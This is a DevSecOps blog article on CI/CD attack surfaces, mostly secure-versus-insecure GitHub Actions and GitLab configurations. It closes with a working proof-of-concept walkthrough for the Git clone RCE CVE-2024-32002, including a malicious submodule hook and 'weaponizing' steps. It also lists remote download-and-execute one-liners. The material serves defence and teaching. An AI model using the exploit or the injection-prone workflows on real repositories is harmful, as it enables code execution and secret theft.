ATTACKING CI/CD

SUPPLY CHAIN ATTACKS IN DEVOPS ENVIRONEMENT

WWW.DEVSECOPSGUIDES.COM

Attacking CI/CD

· Jul 29, 2024 · 20 min read

Table of contents

Show less

In CI/CD (Continuous Integration/Continuous Deployment) environments, several methods and attacks can compromise security. **Code Injection** involves injecting malicious code into the build pipeline, exploiting vulnerabilities in the build system or dependencies, potentially leading to the execution of unauthorized commands or access to sensitive data. **Dependency Attacks** target vulnerabilities in third-party libraries or dependencies used in the CI/CD pipeline, exploiting them to introduce malicious code or cause failures. **Artifact Tampering** manipulates the build artifacts (e.g., binaries, containers) to include malicious payloads or vulnerabilities, which can be deployed to production systems. **Pipeline Hijacking** involves gaining unauthorized access to the CI/CD environment to alter build configurations, steal secrets, or inject malicious code into the pipeline.

Credential Exposure occurs when sensitive credentials or secrets (e.g., API keys, tokens) are hardcoded or improperly managed, making them accessible to attackers who can use them to gain unauthorized access. **Phishing and Social Engineering** tactics target developers or CI/CD administrators to trick them into revealing access credentials or executing malicious commands. **Denial of Service (DoS)** attacks can overwhelm CI/CD systems, disrupting the build and deployment processes. **Misconfiguration** of CI/CD tools and environments can inadvertently expose systems or data, leading to potential security breaches. Each of these methods requires vigilant security practices, including secure coding, regular dependency audits, and robust access controls, to mitigate risks in CI/CD workflows.

CI Debug Enabled

n GitHub Actions, verbosity can be increased by setting the `ACTIONS_RUNNER_DEBUG` or `ACTIONS_STEP_DEBUG` environment variables. To mitigate this risk, you should ensure these variables are not set in your workflow files.

COPY

```
on:
  push:
```

```
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - id: 1
        run: echo Hello
```

Anti-Pattern Configuration:

```
on:
  push:

env:
  ACTIONS_RUNNER_DEBUG: true

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - id: 1
        env:
          ACTIONS_STEP_DEBUG: true
        run: echo Hello
```

Ensure that neither `ACTIONS_RUNNER_DEBUG` nor `ACTIONS_STEP_DEBUG` is set to `true`. Even if not detected directly in the workflow file, these could be set through secrets or other variable configurations, which should also be audited.

GitLab CI

In GitLab CI, verbosity can be controlled via the `CI_DEBUG_TRACE` or `CI_DEBUG_SERVICES` variables. Ensure these variables are not set to `true` to avoid excessive logging.

Recommended Configuration:

```
job_name:
  variables:
    CI_DEBUG_TRACE: "false"  # Or better, simply omit these variables as they default to `false`.
    CI_DEBUG_SERVICES: "false"
```

Anti-Pattern Configuration:

```
job_name:
  variables:
    CI_DEBUG_TRACE: "true"
    CI_DEBUG_SERVICES: "true"
```

Azure DevOps

For Azure DevOps, the verbosity is controlled using the `system.debug` variable. Ensure this is not set to `true` in your pipeline files.

Recommended Configuration:

```
variables:
  system.debug: 'false'  # Or better, simply omit this variable as it defaults to `false`.
```

Anti-Pattern Configuration:

```
variables:
  system.debug: 'true'
```

Default permissions used on risky events

If a GitHub Actions workflow does not explicitly declare permissions for its jobs, it inherits the default permissions configured in the GitHub Actions settings of the repository. For organizations created before February 2023, these default permissions often grant read-write access to the repository. This is particularly risky for events like `pull_request_target` or `issue_comment`, which are often triggered by pull requests from forks. Without explicit permission settings, such workflows might expose privileged tokens to potentially untrusted code.

Remediation

To mitigate this risk, ensure that permissions are explicitly declared at either the workflow level or the job level. Additionally, configure default workflow permissions to have no permissions, ensuring all jobs declare their permissions explicitly.

Example of Secure Configuration:

1. **Default Permissions Configuration:**

Ensure the default permissions are set to none, and permissions are declared explicitly for each job.

```
on:
  pull_request_target:
    branches: [main]
    types: [opened, synchronized]

permissions: {}  # Default job permissions set to none
```

```
jobs:
  pr-read:
    runs-on: ubuntu-latest
    permissions:
      contents: read  # Explicitly granting read-only permission for
contents
    steps:
      - uses: actions/checkout@v4
```

2. **Workflow-Level and Job-Level Permissions:**

When using workflow-level permissions, ensure they are set to the minimum required. Increase permissions only if necessary on a per-job basis.

```
on:
  pull_request_target:
    branches: [main]
    types: [opened, synchronized]

permissions:
  contents: read  # Minimum required permission for the workflow

jobs:
  pr-read:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

  issues-write:
    runs-on: ubuntu-latest
    permissions:
      issues: write  # Specific permission for the job
    steps:
      - uses: org/create-issue-action@v2
```

Anti-Pattern

Avoid configurations where permissions are not explicitly declared, which can lead to unintentional exposure of sensitive information.

```
on: pull_request_target

jobs:
  build-pr:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}
      - run: make
```

Github Action from Unverified Creator used

Using GitHub Actions from unverified creators can pose security risks, as these actions may not be thoroughly vetted and could potentially contain malicious code. The usage of such actions in workflows or composite actions should be minimized or avoided. Instead, prefer using actions from verified creators to ensure a higher level of trust and security.

Remediation

To mitigate this risk, identify and replace actions from unverified creators with those from verified creators. Verified creators can be found in the GitHub Marketplace. However, even verified actions should be subjected to regular security reviews, as their verification status does not inherently guarantee security or ongoing maintenance.

Steps to Remediate:

1. **Identify Actions from Unverified Creators:**

Review your workflow files to identify actions used from unverified creators. For instance:

COPY

```
jobs:
  example-job:
    runs-on: ubuntu-latest
    steps:
      - uses: unverified-creator/some-action@v1
        with:
          some-input: some-value
```

2. **Replace with Actions from Verified Creators:**

Search for equivalent actions from verified creators in the GitHub Marketplace and replace the unverified actions.

Before:

COPY

```
jobs:
  example-job:
    runs-on: ubuntu-latest
    steps:
      - uses: unverified-creator/some-action@v1
        with:
          some-input: some-value
```

After:

```
jobs:
  example-job:
    runs-on: ubuntu-latest
    steps:
      - uses: verified-creator/some-verified-action@v1
        with:
          some-input: some-value
```

3. **Conduct Risk Analysis:**

Even actions from verified creators should be evaluated for security. Use tools like `poutine` to run security checks on the organization or repository where the action is published.

```
poutine org/repo
```

4. **Review Popular Actions:**

While popularity (stars/downloads) can indicate widespread use, it should not be the sole criterion for trust. Regularly review the actions' code, update logs, and community feedback to ensure ongoing security and maintenance.

Example of Securing a Workflow:

Original Workflow with Unverified Action:

```
on: push
```

```
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2

      - name: Run unverified action
        uses: unverified-creator/unsafe-action@v1
        with:
          input: value
```

Updated Workflow with Verified Action:

COPY

```
on: push

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2

      - name: Run verified action
        uses: verified-creator/safe-action@v1
        with:
          input: value
```

If condition always evaluates to true

When using expressions in the `if` condition of GitHub Actions jobs or steps, it's essential to avoid extra characters or spaces. Incorrect formatting can lead to the condition always evaluating to true, resulting in logic bugs and potentially exposing parts of the workflow that should only be executed in secure contexts.

Remediation

To ensure correct evaluation of `if` conditions, format expressions without extra spaces or characters.

Example of Proper Configuration:

1. **Recommended Configuration:**

   - Ensure the `if` condition is properly formatted without extra spaces or characters.

```
name: Conditionally process PR

on:
  pull_request_target:
    types: [opened, synchronize, reopened]

jobs:
  process-pr:
    runs-on: ubuntu-latest
    steps:
      - name: Auto-format markdown files
        if: github.actor == 'torvalds' || github.actor ==
'dependabot[bot]'
        uses: messypoutine/actionable/.github/actions/auto-
format@0108c4ec935a308435e665a0e9c2d1bf91e25685 # v1.0.0
```

2. **Anti-Pattern Configuration:**

   - Avoid multi-line expressions with extra spaces or characters which can cause the condition to always evaluate to true.

COPY

```
name: Conditionally process PR

on:
  pull_request_target:
    types: [opened, synchronize, reopened]

jobs:
  process-pr:
    runs-on: ubuntu-latest
    steps:
      - name: Auto-format markdown files
        if: |
          ${{
              github.actor == 'torvalds' ||
              github.actor == 'dependabot[bot]'
          }}
        uses: messypoutine/actionable/.github/actions/auto-
format@0108c4ec935a308435e665a0e9c2d1bf91e25685 # v1.0.0
```

Injection with Arbitrary External Contributor Input

In GitHub Actions, injecting user input directly into bash or JavaScript can pose security risks. An attacker could manipulate the input to execute arbitrary commands or scripts, leading to potential security vulnerabilities. Instead, user inputs should be placed into environment variables, which can then be safely accessed within scripts.

Remediation

To mitigate the risk of injection attacks, follow these best practices:

- Use environment variables to handle user inputs.
- Limit the permissions of the workflow to only what is necessary.
- Pin actions to a specific commit to avoid using potentially compromised versions.

Recommended Configuration:

1. **Secure Workflow Configuration:**
   - Use environment variables for user inputs.
   - Scope the workflow to specific branches and events.
   - Limit permissions and pin actions to specific commits.

```
on:
  pull_request_target:
    branches: [main]
    types: [opened, synchronize]

permissions: {}

jobs:
  lint:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Validate pull request title and body
        uses: actions/github-
script@v60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
          PR_BODY: ${{ github.event.pull_request.body }}
        with:
          script: |
            const { PR_TITLE, PR_BODY } = process.env;
            github.rest.issues.createComment({
                issue_number: context.issue.number,
                owner: context.repo.owner,
                repo: context.repo.repo,
                body: `Your title (${PR_TITLE}) must match our
expected format ("BUG: Fix this now!!!").`
            });
```

2. **Anti-Pattern Configuration:**

   - Avoid direct interpolation of user input into scripts.
   - Ensure permissions are scoped and actions are pinned.

```
# (1) Triggers on `pull_request_target`, no scoping
to protected branch, no scoping to selected events
on: pull_request_target

permissions: write-all # (2) Unnecessary permissions

jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - name: Debug
        run: |
          # (3) Bash injection
          echo "Title: ${{ github.event.pull_request.title }}"
          echo "Body: ${{ github.event.pull_request.body }}"
      - name: Validate pull request title and body
        uses: actions/github-script@v7 # (4) Missing pinning
        with:
          script: |
            // (5) JavaScript injection
            github.rest.issues.createComment({
                issue_number: context.issue.number,
                owner: context.repo.owner,
                repo: context.repo.repo,
                body: "Your title (${{
```

```
github.event.pull_request.title}}) must match the expected format."
            })
```

Job uses all secrets

A GitHub Actions job that accesses all secrets can expose sensitive information unnecessarily. This can happen if the secrets object is serialized to JSON or if secrets are accessed using a dynamic key, which leads to all secrets being loaded into the job's environment.

Examples of Insecure Practices:

1. **Serializing Secrets to JSON:**

```
env:
  ALL_SECRETS: ${{ toJSON(secrets) }}
```

Using Dynamic Keys to Access Secrets:

```
strategy:
  matrix:
    env: [PROD, DEV]
env:
  GH_TOKEN: ${{ secrets[format('GH_PAT_%s', matrix.env)] }}
```

In these cases, all secrets are made available to the job because the GitHub Actions runner cannot determine the specific secrets required, resulting in potential exposure of all repository and organization secrets.

Remediation

To mitigate this risk, avoid using `${{ toJSON(secrets) }}` or `${{ secrets[...] }}`. Instead, explicitly reference only the individual secrets required for the job. Using GitHub Actions environments can also help restrict the secrets available to a job based on the environment.

Steps to Remediate:

1. **Avoid Serializing All Secrets:**
   Insecure Configuration:

COPY

```
env:
  ALL_SECRETS: ${{ toJSON(secrets) }}
```

Secure Configuration:

COPY

```
env:
  API_KEY: ${{ secrets.API_KEY }}
  DB_PASSWORD: ${{ secrets.DB_PASSWORD }}
```

2. **Avoid Dynamic Key Access for Secrets:**

Insecure Configuration:

COPY

```
strategy:
  matrix:
    env: [PROD, DEV]
```

```
env:
  GH_TOKEN: ${{ secrets[format('GH_PAT_%s', matrix.env)] }}
```

Secure Configuration Using Environments:

COPY

```
jobs:
  build:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        env: [PROD, DEV]
    environment: ${{ matrix.env }}
    env:
      GH_TOKEN: ${{ secrets.GH_PAT }}
```

Example of Securing a Workflow:

Original Workflow with Insecure Secrets Access:

COPY

```
name: Build

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        env: [PROD, DEV]
    env:
      GH_TOKEN: ${{ secrets[format('GH_PAT_%s', matrix.env)] }}
    steps:
      - name: Checkout code
```

```
        uses: actions/checkout@v2
      - name: Build and test
        run: |
          echo "Building for environment ${{ matrix.env }}"
          ./build.sh
```

Updated Workflow with Secure Secrets Access:

```
name: Build

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        env: [PROD, DEV]
    environment: ${{ matrix.env }}
    env:
      GH_TOKEN: ${{ secrets.GH_PAT }}
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Build and test
        run: |
          echo "Building for environment ${{ matrix.env }}"
          ./build.sh
```

Unverified Script Execution

Executing scripts or binaries fetched from a remote server without verifying their integrity can pose significant security risks. This practice, often referred to as "curl pipe bash," involves downloading and executing a script in a subsequent command. This method, while convenient for quick setups, can be dangerous in a CI pipeline due to the lack of control and visibility over the code being executed. This can lead to executing compromised scripts, introducing vulnerabilities into the build environment.

Remediation

To address this issue, avoid executing remote scripts directly without verification. Prefer using package managers or downloading scripts from public repositories with integrity checks.

Anti-Pattern Examples:

1. **Curl Pipe Bash:**

```
curl https://git.io/get_helm.sh | bash
```

Direct Script Download and Execution:

```
curl -Lo ./kind https://kind.sigs.k8s.io/dl/latest/kind-
linux-amd64 && chmod +x ./kind
bash <(curl -s https://codecov.io/bash)
deno run --allow-all
https://raw.githubusercontent.com/org/repo/main/ci.ts
iex ((New-Object
System.Net.WebClient).DownloadString("https://get.pulumi.com/install.p
s1"))
iwr -useb get.scoop.sh | iex
```

Preferred Approaches

1. **Using a Package Manager:**

- Install software through a package manager like `apt`, `apk`, `brew`, `rpm`, etc., which are more secure and managed.
- Example for installing Helm using `apt`

COPY

```
jobs:
  install-helm:
    runs-on: ubuntu-latest
    steps:
      - name: Update apt-get
        run: sudo apt-get update
      - name: Install Helm
        run: sudo snap install helm --classic
```

Downloading from a Public Repository with Verification:

Identifying the Redirection URL:

COPY

```
curl -I https://get.rvm.io/ | grep -i location
# Output: Location:
https://raw.githubusercontent.com/rvm/rvm/master/binscripts/rvm-
installer
```

Using a Specific Commit SHA:

COPY

```
# Fetch the specific commit SHA
git ls-remote https://github.com/anchore/grype main
# Output: 239741f535c59d6e1b9faee61f64ebcf4361d2c5
refs/heads/main

# Secure script execution with SHA
```

```
curl -f
https://raw.githubusercontent.com/anchore/grype/239741f535c59d6e1b9fae
e61f64ebcf4361d2c5/install.sh | bash
```

Using `curl --fail`:

- Ensure `curl` fails and doesn't output the response when the request fails, reducing the risk of executing unexpected content.

```
curl --fail https://example.com/foo.sh | bash
```

Checksum Verification:

Compute the Digest:

```
curl
https://raw.githubusercontent.com/anchore/grype/239741f535c59d6e1b9fae
e61f64ebcf4361d2c5/install.sh | sha256sum
# Output:
a8c6d3c0f110f7243bb379f9baf46b382a1b7704221a0d4591b810fe741176e3  -
```

Verify and Execute in CI Pipeline:

```
jobs:
  install-script:
    runs-on: ubuntu-latest
    steps:
      - name: Download install script
        run: curl -fo install.sh
```

```
https://raw.githubusercontent.com/anchore/grype/239741f535c59d6e1b9fae
e61f64ebcf4361d2c5/install.sh
      - name: Verify checksum
        run: echo
"a8c6d3c0f110f7243bb379f9baf46b382a1b7704221a0d4591b810fe741176e3
install.sh" | sha256sum -c
      - name: Execute install script
        run: bash install.sh
```

Arbitrary Code Execution from Untrusted Code Changes

Executing code from untrusted sources poses significant security risks, especially in CI/CD pipelines where untrusted code may come from forks. Using `pull_request_target` in GitHub Actions allows access to secrets even for forked repositories, which, while useful, requires careful handling to prevent arbitrary code execution. Tools used in these workflows, often referred to as "Living Off The Pipeline" tools, can be exploited to execute arbitrary code due to their design features that process untrusted input.

Remediation

To mitigate these risks, implement the following strategies:

1. **Use Labels to Control Workflow Execution:**
    - Require a specific label on pull requests to run workflows. Only users with write access can add labels, ensuring that only authorized PRs can execute the workflow.
2. **Use Environments to Restrict Secrets:**
    - Store secrets in environments and restrict workflow execution to specific environments. This ensures only PRs targeting those environments can access the secrets.
3. **Check Out Trusted Code Separately:**

- Separate the trusted and untrusted code checkouts, processing the untrusted code in a controlled manner.

Example: Using Labels

Workflow:

```
on:
  pull_request_target:
    branches: [main]
    types: [labeled]

permissions: {}

jobs:
  lint:
    runs-on: ubuntu-latest
    if: github.event.label.name == 'safe-to-run'
    permissions:
      contents: read
      pull-requests: write
    steps:
      - name: Checkout trusted code from protected branch
        uses:
actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
        with:
          ref: main
          persist-credentials: false
          path: trusted

      - name: Install trusted dependencies
        working-directory: trusted
        run: npm ci

      - name: Checkout untrusted code
        uses:
```

```
actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
        with:
          repository: ${{
github.event.pull_request.head.repo.full_name }}
          ref: ${{ github.event.pull_request.head.sha }}
          persist-credentials: false
          path: untrusted

      - name: Run linting script on untrusted code
        id: untrusted-code-lint
        working-directory: trusted
        env:
          LINTING_TOOL_API_KEY: ${{ secrets.LINTING_TOOL_API_KEY }}
        run: |
          RAND_DELIMITER="$(openssl rand -hex 16)" # 128-bit random
delimiter token
          echo "tainted<<${RAND_DELIMITER}" >> "${GITHUB_OUTPUT}"
          echo "$(npm run lint --ignore-scripts
$GITHUB_WORKSPACE/untrusted/)" >> "${GITHUB_OUTPUT}"
          echo "${RAND_DELIMITER}" >> "${GITHUB_OUTPUT}"

      - name: Output linting results to Pull Request
        uses: actions/github-
script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
        env:
          UNTRUSTED_CODE_TAINTED_LINT_RESULTS: ${{ steps.untrusted-
code-lint.outputs.tainted }}
        with:
          script: |
            const { UNTRUSTED_CODE_TAINTED_LINT_RESULTS } =
process.env
            github.rest.issues.createComment({
                issue_number: context.issue.number,
                owner: context.repo.owner,
                repo: context.repo.repo,
                body: `👋 Thanks for your contribution.\nHere are the
linting results:\n${UNTRUSTED_CODE_TAINTED_LINT_RESULTS}`
            })
```

Example: Using Environments

Workflow:

```
on:
  pull_request_target:
    branches: [main]
    types: [opened, synchronize]

permissions: {}

jobs:
  lint:
    runs-on: ubuntu-latest
    environment: untrusted-pull-request-from-forks
    permissions:
      contents: read
      pull-requests: write
    steps:
      - name: Checkout trusted code from protected branch
        uses:
actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
        with:
          ref: main
          persist-credentials: false
          path: trusted

      - name: Install trusted dependencies
        working-directory: trusted
        run: npm ci

      - name: Checkout untrusted code
```

```
        uses:
actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
        with:
          repository: ${{
github.event.pull_request.head.repo.full_name }}
          ref: ${{ github.event.pull_request.head.sha }}
          persist-credentials: false
          path: untrusted

      - name: Run linting script on untrusted code
        id: untrusted-code-lint
        working-directory: trusted
        env:
          LINTING_TOOL_API_KEY: ${{ secrets.LINTING_TOOL_API_KEY }}
        run: |
          RAND_DELIMITER="$(openssl rand -hex 16)" # 128-bit random
delimiter token
          echo "tainted<<${RAND_DELIMITER}" >> "${GITHUB_OUTPUT}"
          echo "$(npm run lint --ignore-scripts
$GITHUB_WORKSPACE/untrusted/)" >> "${GITHUB_OUTPUT}"
          echo "${RAND_DELIMITER}" >> "${GITHUB_OUTPUT}"

      - name: Output linting results to Pull Request
        uses: actions/github-
script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
        env:
          UNTRUSTED_CODE_TAINTED_LINT_RESULTS: ${{ steps.untrusted-
code-lint.outputs.tainted }}
        with:
          script: |
            const { UNTRUSTED_CODE_TAINTED_LINT_RESULTS } =
process.env
            github.rest.issues.createComment({
                issue_number: context.issue.number,
                owner: context.repo.owner,
                repo: context.repo.repo,
                body: `👋 Thanks for your contribution.\nHere are the
linting results:\n${UNTRUSTED_CODE_TAINTED_LINT_RESULTS}`
            })
```

Anti-Pattern Example

Insecure Workflow:

```
on: pull_request_target

permissions: write-all

jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout untrusted code
        uses: actions/checkout@v4
        with:
          repository: ${{
github.event.pull_request.head.repo.full_name }}
          ref: ${{ github.event.pull_request.head.sha }}
      - name: Install dependencies
        run: npm install
      - name: Run linting script
        id: lint
        env:
          LINTING_TOOL_API_KEY: ${{ secrets.LINTING_TOOL_API_KEY }}
        run: |
          echo "results<<EOF" >> "${GITHUB_OUTPUT}"
          echo "$(npm run lint)" >> "${GITHUB_OUTPUT}"
          echo "EOF" >> "${GITHUB_OUTPUT}"
      - name: Output linting results to Pull Request
        uses: actions/github-script@v7
        with:
          script: |
            github.rest.issues.createComment({
                issue_number: context.issue.number,
                owner: context.repo.owner,
                repo: context.repo.repo,
                body: `👋 Thanks for your contribution.\nHere are the
linting results:\n${{ steps.lint.outputs.results }}`
            })
```

Unpinnable CI component used

The rule identifies Continuous Integration (CI) components that are unpinnable due to their dependency on mutable supply chain components. Pinning CI components using a cryptographic hash or signature is a best practice, ensuring that a specific, immutable version of a component is used. This enhances the reproducibility and trustworthiness of builds. However, if a component depends on other mutable components, pinning does not mitigate all associated risks, as these dependencies might change or be compromised.

Remediation

Unfortunately, there is no straightforward way to mitigate the risks associated with unpinnable CI components, particularly in GitHub Actions. However, you can consider the following approaches:

1. **Find an Alternative Action:** Look for another action that can be pinned securely.
2. **Fork the Action:** Create a fork of the action and pin the downstream components yourself.
3. **Request Changes:** File a bug report or feature request with the maintainer to make the action pinnable.

Composite Actions

Recommended Pattern

In a composite action, each component used should be pinned to a specific version via its commit hash.

```
# action.yml

runs:
  using: composite
  steps:
    - uses: someorg/some-
action@8de4be516879302afce542ac80a6a43ced807759 # v3.1.2
      with:
        some-input: some-value
```

Anti-Pattern

Avoid using mutable references such as branch names or tags.

```
# action.yml

runs:
  using: composite
  steps:
    - uses: someorg/some-action@v3
      with:
            some-input: some-value
```

Docker-Based Actions (Remote Image)

Recommended Pattern

For Docker-based actions, ensure the image is pinned to a specific digest.

```
# action.yml

runs:
  using: docker
  image: docker://ghcr.io/some-org/some-
docker@sha256:8de4be516879302afce542ac80a6a43ced807759 # v6.3.1
```

Anti-Pattern

Avoid using mutable tags like `latest` or version numbers without a digest.

```
# action.yml

runs:
  using: docker
  image: docker://ghcr.io/some-org/some-docker:v6.3.1
```

Docker-Based Actions (Dockerfile)

Recommended Pattern

When using a Dockerfile, pin the base image to a specific digest.

```
# action.yml

runs:
  using: docker
  image: Dockerfile

# Dockerfile
```

```
FROM: ghcr.io/some-org/some-
docker@sha256:8de4be516879302afce542ac80a6a43ced807759 # v6.3.1
```

Anti-Pattern

Avoid using mutable tags in the Dockerfile.

```
# action.yml

runs:
  using: docker
  image: Dockerfile

# Dockerfile

FROM: ghcr.io/some-org/some-docker:v6.3.1
```

Pull Request Runs on Self-Hosted GitHub Actions Runner

GitHub Actions runners can be self-hosted, providing greater control and customization over the execution environment. However, using self-hosted runners introduces security risks, especially when dealing with pull requests from forks. These risks include unauthorized access to sensitive data from deleted forks, deleted repositories, and even private repositories. This vulnerability is known as Cross Fork Object Reference (CFOR).

A CFOR vulnerability occurs when one repository fork can access sensitive data from another fork (including data from private and deleted forks). This is similar to an Insecure Direct Object Reference (IDOR), where users supply commit hashes to directly access commit data that should not be visible to them.

Examples of CFOR Vulnerabilities

1. **Accessing Deleted Fork Data**
    - A user forks a public repository, commits code, and then deletes the fork. The committed code remains accessible indefinitely via the original repository.
2. **Accessing Deleted Repository Data**
    - A user forks a public repository, the original repository is deleted, but the commits remain accessible via the fork.
3. **Accessing Private Repository Data**
    - A user creates a private repo, forks it privately, then makes the original repo public. Commits made to the private fork before the repo was made public are accessible.

Mitigation Strategies

To mitigate the risks associated with CFOR vulnerabilities, organizations should take proactive steps to secure their CI/CD workflows.

Recommendations

1. **Secure Self-Hosted Runners:**
    - Ensure that self-hosted runners are properly secured and isolated from sensitive data.
    - Use access controls to limit who can trigger workflows on self-hosted runners.
2. **Use Immutable References:**
    - Avoid using mutable references (e.g., branches or tags) in workflows.
    - Pin dependencies to specific commit hashes or version digests to ensure immutability.

3. **Regular Audits:**
    - Conduct regular audits of repository forks and their histories.
    - Check for any sensitive data that might have been committed and deleted.
4. **GitHub Actions Best Practices:**
    - Use `pull_request` events carefully and prefer `pull_request_target` for workflows that require access to secrets.
    - Validate and sanitize inputs in workflows to prevent exploitation.
5. **Limit Exposure:**
    - Avoid hard-coding sensitive data such as API keys in repositories, especially in forks.
    - Use GitHub Secrets to store sensitive information securely.

Example GitHub Actions Workflow

The following is an example GitHub Actions workflow designed to run on a self-hosted runner while mitigating CFOR vulnerabilities.

.github/workflows/secure-workflow.yml

```
name: Secure CI Workflow

on:
  pull_request_target:
    branches:
      - main
    types:
      - opened
      - synchronize

jobs:
  build-and-test:
    runs-on: self-hosted
    permissions:
      contents: read
      pull-requests: write
    steps:
      - name: Checkout repository
        uses: actions/checkout@v2
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          path: untrusted

      - name: Set up Node.js
        uses: actions/setup-node@v2
        with:
          node-version: '14'

      - name: Install dependencies
        run: npm ci
        working-directory: ./untrusted

      - name: Run tests
        run: npm test
        working-directory: ./untrusted

      - name: Publish test results
        if: always()
        uses: actions/upload-artifact@v2
        with:
          name: test-results
          path: ./untrusted/test-results

  lint:
    runs-on: self-hosted
    if: github.event_name == 'pull_request_target'
    steps:
      - name: Checkout repository
```

```
        uses: actions/checkout@v2
        with:
          ref: main
          path: trusted

      - name: Install dependencies
        run: npm ci
        working-directory: ./trusted

      - name: Checkout PR code
        uses: actions/checkout@v2
        with:
          repository: ${{
github.event.pull_request.head.repo.full_name }}
          ref: ${{ github.event.pull_request.head.sha }}
          path: untrusted

      - name: Run linting
        run: npm run lint
        working-directory: ./untrusted
```

Accessing Data via Commit Hashes

GitHub's architecture allows accessing commit data via commit hashes, even if the fork or repository has been deleted. This can be exploited as follows:

1. **Accessing Commit Data:**
    - Navigate directly to the commit URL: `https://github.com/<user>/<repo>/commit/<commit_hash>`.
    - GitHub will display a message that the commit does not belong to any branch, but the data remains accessible.
2. **Brute Forcing Short SHA-1 Values:**
    - GitHub allows using short SHA-1 values to reference commits.

- Brute forcing these short values can reveal commit data without needing the full hash.

RCE via Git Clone

CVE-2024-32002 represents a significant remote code execution (RCE) vulnerability in Git, triggered through a seemingly innocuous `git clone` command. This vulnerability can be exploited by crafting a repository with malicious submodules that execute code via Git hooks. Intrigued by the potential for such a commonplace action to lead to a serious security breach, I dove into the details to understand and exploit this vulnerability.

The advisory for CVE-2024-32002 indicates that the issue arises when Git handles submodules in a way that can trick it into writing files into a `.git/` directory instead of the submodule's worktree. This mishandling allows an attacker to place a malicious hook file that executes during the clone operation. The workaround is to disable symbolic link support in Git using the command:

```
git config --global core.symlinks false
```

Despite the advisory, I was eager to see the vulnerability in action and understand the underlying mechanics.

Understanding Git and Symlinks

Git manages projects using repositories, and submodules are repositories nested within other repositories. This setup complicates things on case-insensitive file systems, where paths like `A/modules/x` and `a/modules/x` are treated as identical. This detail is critical for the vulnerability.

Symlinks (Symbolic Links): These are file system references to other files or directories. In Git, they can point to different parts of a repository but can be exploited to point to unintended locations, such as hidden `.git/` directories.

Reviewing the Source Code

To comprehend the vulnerability, I examined the source code for Git, focusing on the changes made to address CVE-2024-32002. I cloned the Git source code and checked out the vulnerable version:

```
git clone https://github.com/git/git.git
git checkout v2.45.0
code .
```

I found the commit that addressed the vulnerability and examined the changes in two files:

1. `builtin/submodule--helper.c`:
   - The `clone_submodule` function was modified to check if the submodule directory exists and is empty before proceeding with the clone. This prevents overwriting existing directories with symlinks.
2. `t/` `t7406-submodule-update.sh`:
   - This test script provided valuable insights into how the vulnerability was reproduced and mitigated. It ensured that symlinks and submodules are handled correctly to prevent exploitation.

Crafting the Exploit

To exploit the vulnerability, I followed these steps:

1. **Configure Git**:
   - Enable symlink support and configure Git to allow file protocol:

```
git config --global protocol.file.allow always
git config --global core.symlinks true
```

Create the Hook Repository:

- Initialize a repository and create a malicious `post-checkout` hook:

```
git init hook
cd hook
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "RCE Triggered" > /tmp/pwnd
calc.exe
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "Add post-checkout hook"
cd ..
```

Create the Main Repository:

- Initialize another repository, add the hook repository as a submodule, and set up a symlink:

```
git init captain
cd captain
git submodule add --name x/y "$PWD/hook" A/modules/x
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
```

```
git update-index --index-info < index.info
git commit -m "Add symlink"
cd ..
```

Clone the Repository:

- Clone the repository recursively to trigger the RCE:

```
git clone --recursive captain hooked
```

Testing the Exploit

The payload should trigger and execute on cloning:

- **On Windows**: The calculator application will pop up.
- **On macOS**: The Calculator app will open.

Weaponizing the Exploit

To simulate a real-world attack scenario, I modified the repositories to use remote URLs instead of local paths. This involves:

1. **Updating** `.gitmodules`:
    - Replace the local path with an SSH URL:

```
[submodule "x/y"]
    path = A/modules/x
    url = git@github.com:amalmurali47/hook.git
```

2. **Upload Repositories to GitHub**:

- Upload both repositories to GitHub.

3. **Perform Recursive Clone**:

   - Clone the repository from GitHub:

```
git clone --recursive git@github.com:amalmurali47/git_rce.git
```

Resources

- https://github.com/boostsecurityio/poutine/tree/main
- https://amalmurali.me/posts/git-rce/
- https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github

Devops DevSecOps ci-cd Pipeline GitHub GitLab GitLab-CI gitlab-runner

Written by

RR Reza Rashidi Follow

Published on

DevSecOpsGuides Follow

MORE ARTICLES

RR Reza Rashidi

Attacking Pipeline

DevOps pipelines, which integrate and automate the processes of software development and IT operatio...

RR Reza Rashidi

Attacking Policy

Open Policy Agent (OPA) is a versatile tool used to enforce policies and ensure compliance within a ...

RR Reza Rashidi

Attacking IaC

Attacking Infrastructure as Code (IaC) methods involves exploiting vulnerabilities and misconfigurat...